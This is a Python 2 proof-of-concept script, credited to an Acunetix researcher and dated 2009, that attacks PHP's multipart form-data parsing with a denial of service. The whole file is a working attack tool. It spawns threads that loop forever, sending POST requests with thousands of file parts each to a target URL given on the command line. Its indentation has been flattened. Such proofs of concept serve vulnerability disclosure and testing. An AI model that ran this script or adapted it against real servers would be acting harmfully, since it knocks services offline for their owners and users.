#
# PHP MultiPart Form-Data Denial of Service proof of concept, 23-10-2009
# Bogdan Calin (bogdan@acunetix.com)
#
import httplib, urllib, sys, string, threading
from string import replace
from urlparse import urlparse
def usage():
print "****************************************************************************"
print " PHP MultiPart Form-Data Denial of Service proof of concept"
print " Bogdan Calin (bogdan@acunetix.com)"
print ""
print " Usage: php_mpfd_dos.py url [number_of_threads] [number_of_files] [data]"
print ""
print " [number_of_threads] - optional, default 10"
print " [number_of_files] - optional, default 15000"
print " [data] - content of the files, by default it will create files containing"
print " the string "
print ""
print " Example: php_mpfd_dos.pyhttp://ubuntu/index.php"
print "****************************************************************************"
class PhpMPFDDosThread ( threading.Thread ):
# Override Thread's __init__ method to accept the parameters needed:
def __init__ ( self, host, path, files ):
self.host = host
self.path = path
self.files = files
threading.Thread.__init__ ( self )
# run in loop
def run(self):
while(1):
try:
self.post_data()
except:
print "*",
# post multipart_formdata
def post_data(self):
content_type, body = self.encode_multipart_formdata()
h = httplib.HTTPConnection(self.host)
headers = {
'User-Agent': 'Opera/9.20 (php_mpfd_dos;poc)',
'Accept': '*/*',
'Content-Type': content_type
}
h.request('POST', self.path, body, headers)
print ".",
# encode multipart_formdata
def encode_multipart_formdata(self):
"""
adapted fromhttp://code.activestate.com/recipes/146306/
files is a sequence of (name, filename, value) elements for data to be uploaded as files
Return (content_type, body) ready for httplib.HTTP instance
"""
BOUNDARY = '----------PHP_MPFD_DOS'
CRLF = '\r\n'
L = []
for (key, filename, value) in self.files:
L.append('--' + BOUNDARY)
L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (key, filename))
L.append('Content-Type: application/octet-stream')
L.append('')
L.append(value)
L.append('--' + BOUNDARY + '--')
L.append('')
body = CRLF.join(L)
content_type = 'multipart/form-data; boundary=%s' % BOUNDARY
return content_type, body
def main():
if len(sys.argv)<=1:
usage()
sys.exit()
# default values
number_of_threads = 10
number_of_files = 15000
data = ""
if len(sys.argv)>2:
number_of_threads = int(sys.argv[2])
if len(sys.argv)>3:
number_of_files = int(sys.argv[3])
if len(sys.argv)>4:
data = sys.argv[4]
url = sys.argv[1]
print "[-] target: " + url
# parse target url
up = urlparse(url)
host = up.netloc
path = up.path
# prepare files
files = []
for i in range(0, number_of_files):
files.append(('fu[]', 'f'+str(i), data))
# start the threads
for x in xrange ( number_of_threads ):
PhpMPFDDosThread(host, path, files).start()
if __name__ == '__main__':
main()
